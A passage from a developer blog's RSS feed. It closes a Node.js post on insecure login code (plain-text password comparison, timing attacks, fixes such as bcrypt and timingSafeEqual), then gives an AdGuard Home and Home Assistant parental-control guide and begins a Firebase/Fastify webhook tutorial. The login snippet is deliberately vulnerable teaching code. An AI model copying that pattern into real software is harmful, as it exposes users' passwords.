&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; users.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;u&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; u.username &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; username &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; u.password &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; password);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (user) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    req.session.userId &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; user.id; &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Store user ID in session&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    res.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Login successful&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    res.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;401&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Invalid credentials&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s call out the problems here too:&lt;/p&gt;
&lt;h3 id=&quot;1-plain-text-password-storage&quot;&gt;1. Plain Text Password Storage&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;: The code compares the user’s password directly with the stored password (&lt;code&gt;u.password&lt;/code&gt;). This assumes passwords are stored in plain text, which is highly insecure.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;: Always hash passwords using a strong hashing algorithm like &lt;code&gt;bcrypt&lt;/code&gt; before storing them in the database. When a user logs in, hash the provided password and compare the hash with the stored hash. This ensures even if the database is compromised, attackers cannot easily obtain user passwords.&lt;/p&gt;
&lt;h3 id=&quot;2-vulnerability-to-timing-attacks&quot;&gt;2. Vulnerability to Timing Attacks&lt;/h3&gt;
&lt;p&gt;In the given code, if the password comparison is done character-by-character, an attacker could potentially exploit the time difference between a correct and incorrect character match. With enough attempts, they might be able to guess the password based on subtle variations in response times.&lt;/p&gt;
&lt;p&gt;There are several ways to prevent timing attacks in password comparisons:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Constant Time Comparison&lt;/strong&gt;: Use libraries like &lt;code&gt;crypto.timingSafeEqual&lt;/code&gt; (built-in Node.js) to ensure the comparison takes a constant amount of time regardless of password length or correctness. These libraries perform comparisons in a way that avoids timing leaks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hash-Based Comparison&lt;/strong&gt;: As mentioned earlier, always store passwords as hashes. During login, hash the provided password and compare it with the stored hash using a constant time comparison function. This eliminates the possibility of timing attacks based on character-by-character comparisons.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;what-else-can-be-done&quot;&gt;What else can be done?&lt;/h2&gt;
&lt;p&gt;Additional considerations include implementing rate limiting on login attempts to make brute-force attacks with timing analysis significantly slower and less effective, re-generating session ids on sensitive operations (changing a password or email), lockout mechanism after a certain number of failed login attempts to further deter attackers, and more.&lt;/p&gt;
&lt;p&gt;More in-depth security practices concerning Node.js, authentication and secure coding in general are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.nodejs-security.com/blog/input-validation-best-practices-for-nodejs&quot;&gt;Input Validation Security Best Practices for Node.js&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.nodejs-security.com/blog/protecting-against-common-nodejs-vulnerabilities&quot;&gt;Protecting Against Common Node.js Vulnerabilities&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.nodejs-security.com/blog/nodejs-security-best-practices&quot;&gt;Node.js Security Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>How to block LAN clients from accessing YouTube and other media with AdGuard and Home Assistant</title><link>https://lirantal.com/blog/block-lan-clients-from-accessing-youtube-and-other-media-with/</link><guid>https://lirantal.com/blog/block-lan-clients-from-accessing-youtube-and-other-media-with/</guid><description>Learn how to block specific LAN client IPs from accessing YouTube and other media sites using AdGuard add-on and Home Assistant.</description><pubDate>Sat, 20 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I use Home Assistant to manage my smart home devices and AdGuard Home to block ads, lower bandwidth consumption, and generally manage DNS filters and denylists on my network. I recently wanted to block specific LAN client IPs from accessing YouTube and other media sites.&lt;/p&gt;
&lt;p&gt;When you have kids, setting parental controls is a must :-)&lt;/p&gt;
&lt;h2 id=&quot;parental-controls-with-adguard-and-home-assistant&quot;&gt;Parental controls with AdGuard and Home Assistant&lt;/h2&gt;
&lt;p&gt;My Home Assistant has AdGuard installed via an add-on and I use it as my primary DNS server with the main home router pointing to it, and using DNS over HTTPS (DoH) to Cloudflare, Google and Quad9 as upstream DNS servers.&lt;/p&gt;
&lt;p&gt;AdGuard comes with its own set of filters and client lists that you can use to block ads, trackers, and other unwanted content. More than anything else though, you can configure whats called “Persistent Client” and set them up to adhere to a specific policy, which is really handy for setting up parental controls.&lt;/p&gt;
&lt;p&gt;Persistent clients have the following attributes and capabilities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You can identify clients by their IP address, MAC address, or even specific tags, for example if you want to target all clients that are tagged as an Android device, or a game console.&lt;/li&gt;
&lt;li&gt;Once identified you can assign them a policy such as:
&lt;ul&gt;
&lt;li&gt;Use AdGuard browsing security web service&lt;/li&gt;
&lt;li&gt;Use AdGuard parental control web service&lt;/li&gt;
&lt;li&gt;Block specific services or websites such as YouTube, Facebook, Tiktok, etc.&lt;/li&gt;
&lt;li&gt;Maintain a scheduled-based policy, for example, block YouTube from 8 pm to 8 am&lt;/li&gt;
&lt;li&gt;Use a custom upstream DNS server&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/adguard-home-persistent-client-edit.png&quot; alt=&quot;edit a persistent client in AdGuard Home web interface&quot;&gt;&lt;/p&gt;
&lt;p&gt;If all you want is to manually control the persistent client policy and managing it through the Home Assistant’s AdGuard add-on web UI then that’s all you need to do. However, if you want to automate the process and manage it through Home Assistant’s automation engine controlled via its Lovelace web dashboard, then you need to use the AdGuard Home API.&lt;/p&gt;
&lt;h2 id=&quot;configure-adguard-home-add-on-in-home-assistant-to-expose-the-web-service&quot;&gt;Configure AdGuard Home add-on in Home Assistant to expose the web service&lt;/h2&gt;
&lt;p&gt;By default, the AdGuard add-on only sets up port 53 for DNS. If you want to use the API you need to enable the web service in the add-on configuration.&lt;/p&gt;
&lt;p&gt;In Home Assistant, go to &lt;code&gt;Settings&lt;/code&gt; -&gt; &lt;code&gt;Add-ons&lt;/code&gt; -&gt; &lt;code&gt;AdGuard Home&lt;/code&gt; -&gt; &lt;code&gt;Configuration&lt;/code&gt; and configure it the following way:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Set &lt;code&gt;ssl&lt;/code&gt; to disabled (unless you actually have a &lt;code&gt;certfile&lt;/code&gt; and &lt;code&gt;keyfile&lt;/code&gt; to use, otherwise just disable ssl)&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;port&lt;/code&gt; to &lt;code&gt;3000&lt;/code&gt; for the &lt;code&gt;80/tcp&lt;/code&gt; port mapping&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then restart the add-on to apply the changes.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/adguard-home-assistant-add-on-configuration.png&quot; alt=&quot;AdGuard Home add-on configuration on Home Assistant&quot;&gt;&lt;/p&gt;
&lt;p&gt;I recommend heading over to the &lt;code&gt;Log&lt;/code&gt; tab on the add-on page to make sure the add-on started successfully and that the web service is running on port 3000.&lt;/p&gt;
&lt;h2 id=&quot;set-up-a-shell-command-in-home-assistant-to-interact-with-the-adguard-home-api&quot;&gt;Set-up a shell command in Home Assistant to interact with the AdGuard Home API&lt;/h2&gt;
&lt;p&gt;Next, edit the &lt;code&gt;configuration.yaml&lt;/code&gt; file in Home Assistant and add the following shell command configuration:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;command_line&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;switch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Strict Entertainment Media&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;unique_id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;strict_entertainment_media&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;command_on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;curl -X POST -m 10000 -H &quot;content-Type:application/json&quot; -s -u &quot;username:password&quot; http://a0d7b954-adguard:3000/control/clients/update -d &quot;{\&quot;name\&quot;: \&quot;Pixel 6a\&quot;,\&quot;data\&quot;:{\&quot;name\&quot;:\&quot;Pixel 6a\&quot;,\&quot;ids\&quot;: [\&quot;1.2.3.4\&quot;],\&quot;tags\&quot;: [],\&quot;upstreams\&quot;: [],\&quot;filtering_enabled\&quot;: true,\&quot;parental_enabled\&quot;: true,\&quot;safebrowsing_enabled\&quot;: true,\&quot;safesearch_enabled\&quot;: true,\&quot;use_global_blocked_services\&quot;: false,\&quot;use_global_settings\&quot;: true, \&quot;blocked_services\&quot;: [\&quot;youtube\&quot;]}}&quot;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;command_off&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;curl -X POST -m 10000 -H &quot;content-Type:application/json&quot; -s -u &quot;username:password&quot; http://a0d7b954-adguard:3000/control/clients/update -d &quot;{\&quot;name\&quot;: \&quot;Pixel 6a\&quot;,\&quot;data\&quot;:{\&quot;name\&quot;:\&quot;Pixel 6a\&quot;,\&quot;ids\&quot;: [\&quot;1.2.3.4\&quot;],\&quot;tags\&quot;: [],\&quot;upstreams\&quot;: [],\&quot;filtering_enabled\&quot;: true,\&quot;parental_enabled\&quot;: true,\&quot;safebrowsing_enabled\&quot;: true,\&quot;safesearch_enabled\&quot;: true,\&quot;use_global_blocked_services\&quot;: true,\&quot;use_global_settings\&quot;: true, \&quot;blocked_services\&quot;: []}}&quot;&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the above configuration, replace &lt;code&gt;username&lt;/code&gt; and &lt;code&gt;password&lt;/code&gt; with the credentials you use to login to the Home Assistant web interface, and &lt;code&gt;a0d7b954-adguard&lt;/code&gt; with your AdGuard Home add-on hostname (this shouldn’t actually change for you, but just in case, you can find it on the add-on information page). The &lt;code&gt;command_on&lt;/code&gt; and &lt;code&gt;command_off&lt;/code&gt; are the &lt;code&gt;curl&lt;/code&gt; commands that will be executed when the switch is turned on or off respectively.&lt;/p&gt;
&lt;p&gt;The setup I have here is a switch that will block YouTube for a specific client IP address (that I configured in my router to be persistent per the mac-address, so it doesn’t change with a new DHCP lease). You can modify the &lt;code&gt;blocked_services&lt;/code&gt; array to include other services you want to block, or remove the &lt;code&gt;blocked_services&lt;/code&gt; array to unblock all services. Notice that I also specified the client name &lt;code&gt;Pixel 6a&lt;/code&gt; which is the name of the client in AdGuard Home &lt;code&gt;Persistent Client&lt;/code&gt; configuration that we showed earlier. Better to create that client manually first, then you can edit it using these APIs.&lt;/p&gt;
&lt;h2 id=&quot;add-the-switch-to-your-home-assistant-lovelace-dashboard&quot;&gt;Add the switch to your Home Assistant Lovelace dashboard&lt;/h2&gt;
&lt;p&gt;Now that we added the switch that fires off the API commands to block YouTube for a specific client, we can add it to the Lovelace dashboard. Edit the Dashboard, click on &lt;code&gt;Add Card&lt;/code&gt;, go to &lt;code&gt;By Entity&lt;/code&gt; and type in the &lt;code&gt;Strict Entertainment Media&lt;/code&gt; switch that we created earlier (or the name you chose to give it). Once it found it, add it to the dashboard.&lt;/p&gt;
&lt;p&gt;You can then customize the type of entity card. I used a &lt;code&gt;switch&lt;/code&gt; card, but you can use a &lt;code&gt;button&lt;/code&gt; card or any other card that suits your needs. It looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/adguard-add-on-block-media-switch.png&quot; alt=&quot;Adguard add-on block media switch in Home Assistant Lovelace dashboard&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>HTTP webhooks on Firebase Functions and Fastify: A Practical Case Study with Lemon Squeezy</title><link>https://lirantal.com/blog/http-webhooks-firebase-functions-fastify-practical-case-study-lemon-squeezy/</link><guid>https://lirantal.com/blog/http-webhooks-firebase-functions-fastify-practical-case-study-lemon-squeezy/</guid><description>A break-down of how to set up Fastify to work on serverless Firebase Functions and access the request&apos;s rawBody to validate incoming HTTP webhooks requests from Lemon Squeezy.</description><pubDate>Fri, 16 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I’m building a side-project on Firebase and as it usually is
with overly abstracted platforms, the rudimentary things often get in the way.
This step-by-step code through is how I managed to get a Fastify
application to act as a Serverless Function on Firebase that is triggered upon
receiving an HTTP webhook from Lemon Squeezy.&lt;/p&gt;
&lt;p&gt;This Firebase Functions webhooks case study teaches on solving the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using the Fastify web framework instead of vanilla JavaScript code for Firebase Functions&lt;/li&gt;
&lt;li&gt;Fastify doesn’t provide access to the HTTP request’s raw body&lt;/li&gt;
&lt;li&gt;Validating the HTTP webhook signature from Lemon Squeezy&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-lemon-squeezy-use-case&quot;&gt;The Lemon Squeezy use-case&lt;/h2&gt;
&lt;p&gt;Lemon Squeezy is an online merchant store provider and a payment processor
and makes a good quick-to-get-running Gumroad and Stripe alternative for indiedevs.&lt;/p&gt;
&lt;p&gt;In the project I’m building I needed to configure a webhook on Lemon Squeezy so
that any time an order gets processed I can update the database entry for the
user and have a record for the plans they bought.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/lms-webhooks-1.png&quot; alt=&quot;HTTP Webhooks on Lemon Squeezy store settings&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;the-firebase-tech-stack-functions-and-firestore&quot;&gt;The Firebase tech stack: Functions and Firestore&lt;/h2&gt;
&lt;p&gt;The backend tech stack on Firebase is a simple use of Firebase Functions with
a deployed HTTP function trigger that validates the signature of the incoming
HTTP webhook from Lemon Squeezy and create Firestore database entries with
the details of the order.&lt;/p&gt;
&lt;p&gt;Instead of building on top of vanilla JavaScript for Firebase Functions, I
choose to go with the Fastify framework for the following benefits:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Better control over HTTP aspects such as adding CORS.&lt;/li&gt;
&lt;li&gt;All API endpoints reside in one codebase but provide a modular
microservice-oriented architecture with Fastify’s plugin system.&lt;/li&gt;
&lt;li&gt;I like Fastify and it allows me to easily shift-and-lift in the
future if I need to deploy this in a different infrastructure.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;phase-1-firebase-functions-on-vanilla-javascript&quot;&gt;Phase 1: Firebase Functions on Vanilla JavaScript&lt;/h2&gt;
&lt;p&gt;The following shows a working example of a Firebase Function called &lt;code&gt;lmswebhook&lt;/code&gt;
that deploys under a route of similar name and it exports just this one function:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// The Cloud Functions for Firebase SDK to create Cloud Functions and triggers.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;logger&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;firebase-functions&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;onRequest&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;firebase-functions/v2/https&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// The Firebase Admin SDK to access Firestore.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;initializeApp&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;firebase-admin/app&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;getFirestore&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;firebase-admin/firestore&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;initializeApp&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.lmswebhook &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;onRequest&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// capture the data coming from the HTTP request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;requestData&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; req.body;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// following is an example of some of the data that exists on&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// the Lemon Squeezy webhook:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// const orderTransaction = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   type: requestData.data.type,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   id: requestData.data.id,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   customer_id: requestData.data.customer_id,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   identifier: requestData.data.identifier,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   order_number: requestData.data.order_number,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   user_name: requestData.data.user_name,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   user_email: requestData.data.user_email,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   status: requestData.data.status,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   total: requestData.data.total,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   created_at: requestData.data.created_at,&lt;/span&gt;&lt;/span&gt;
